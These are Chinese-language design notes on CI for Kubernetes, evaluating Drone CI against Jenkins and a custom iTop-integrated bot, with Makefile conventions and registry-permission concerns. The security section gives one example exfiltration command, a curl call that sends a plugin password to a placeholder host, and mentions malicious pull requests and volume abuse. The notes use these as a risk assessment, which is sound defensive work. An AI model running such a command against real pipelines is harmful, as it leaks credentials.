k8s ci的可能实现方式
调研jenkens
或者结合itop自行实现
itop端设置是否使用ci, ci-bot抓取启用ci的app的repo配置, 监视repo更新, 拉取新代码依次 make build-docker, make push 结果写入itop(类似eveny) 执行make test做自动化测试
ci-bot不仅要更新cmdb,还要发邮件通知和报表
尝试了drone ci,
存在的问题
- 怎么和gerrit集成?Gerrit账号似乎不像github那样oauth登录,像jenkins那样一个个项目的加配置加用户不太能接受
- 镜像制作过程相对固定,如何避免写
.drone.yml?感觉Makefile不可缺少(保留Makefile,不使用CI yaml配置),CI基于Makefile直接执行make build-docker,make push,make up比较好,这样可以不绑定特定CI - 考虑可能存在的镜像覆盖问题,如果
Makefile里build镜像的指令写死了并且写错了,可能会覆盖其他项目的镜像,怎么处理这种情况? - 如果不信任
Makefile,直接执行docker build,取代码仓库命名空间和repo名作为镜像名称,这样就要求代码仓库的命名空间需要被管理起来,要和cmdb业务线保持一致,否则会比较乱(如何管理?) - 不信任
Makefile,如果项目有多个Dockerfile,需要编译多个镜像,咋整?(还是得有个配置或者Makefile) - 如果必须有个
Makefile,如何检测Makefile是否符合要求?(比如要求必须定义REGISTRY ?= xxx.com,IMAGE ?= xxx等,这样可以支持CI通过环境变量重定义这些值)(git remote get-url origin |awk -F ':' '{print $2}' |sed 's/.git$//g'获取代码仓库命名空间/repo名称) - docker in docker 方式制作镜像,挂载volumes(/var/run/docker.sock),要求drone里设置
Trusted,普通用户没有权限,如何处理?drone的docker插件是否能解决此问题(此插件默认向docker hub提交镜像,有安全隐患,最好实现用户免配置,由CI用指定的账号提交至指定registry)?
调研 drone插件开发方法,开发一种 自动生成 .drone.yml 的插件,只需要active代码仓库,剩下的事情就是自动生成.drone.yml,然后依次执行
- make build-docker 制作镜像
- make test 测试
- make push 提交镜像
- make up 部署到dev集群 意味着开发人员需要实现以上指令
如果有多个镜像需要制作
build-docker: build-php5 build-php7
build-php5:
docker build ...
build-php7:
docker build ...
- drone的好处是可以自动创建github webook(对于团队可能不需要?比如gerrit只要有push就通知ci,ci有权限就拉代码执行构建)。
- drone对于搭建云服务可能是个好选择,但是对于团队使用,pipline几乎一样的情况下,很繁琐,要每个项目都写
.drone.yml,设置secret,如果想要提供一个默认的账号密码用于push镜像,还可能存在密码暴漏的问题(commands指令可以执行任意命令) - 使用 https://github.com/adnanh/webhook 如果能解决任意命令执行问题,可能是个更好的方案?
drone ci 存在的安全问题
- 插件容器可以执行任意命令,比如
plugins/docker插件,加上commands:,执行curl http://xxx.com/ci/$PLUGIN_PASSWD,会暴漏密码 - 默认pull request会触发构建,恶意pull request可以通过插件容器执行任意命令的问题暴漏敏感信息
- 使用volumne隐患很大,比如通过容器任意命令执行可以写入恶意程序。不用volume很多功能实现起来会很绕(比如想保留一下编译结果,不用volume 就得用scp,ftp, rsync之类的插件容器,先搭个scp/ftp/rsync服务器,然后每个repo设置个密码,非常繁琐)
为了简单的任务去承担这些风险可能有些不值得
考虑的修改方案
- hook after clone,可用于添加默认 .drone.yml,检查代码结构是否符合规范等
- hook after pipline, 可用于pipline结束后执行自定义操作
- pre defined plugin settings. 可用于
docker push镜像设置默认的账号密码,避免每个用户输入密码的麻烦
pre defined plugin settings问题
- 有上文提到的 敏感信息 泄露问题,用户可能拿到 默认的敏感信息。需要考虑判断一个容器是否是插件,比如
settings和commands不能同时存在,否则报错。只存在settings时认为是插件,注入 pre defined plugin setting. - 用同一个拥有全局权限的账号取执行
docker push,就无法信任用户提供的 repo 名称,如果用户疏忽或者故意写错,会有镜像被覆盖。用个人账号,并且 docker registry 进行了权限限制的时候,可避免此情况。(可能的解决方案,不提供 repo 设置,docker registry repo和和据代码仓库的 repo 名 保持一致)
接上条,考虑一个仓库要做多个镜像的问题,不提供repo设置,则无法实现。
因此,综合考虑,drone目前的实现算是最好的,不需要在改动了。
gitlab 8.6.4版本集成drone时报错如下
Login Failed. invalid character '<' looking for beginning of value
参考:https://www.58jb.com/html/drone-configure-gitlab.html
需要升级到11.x版本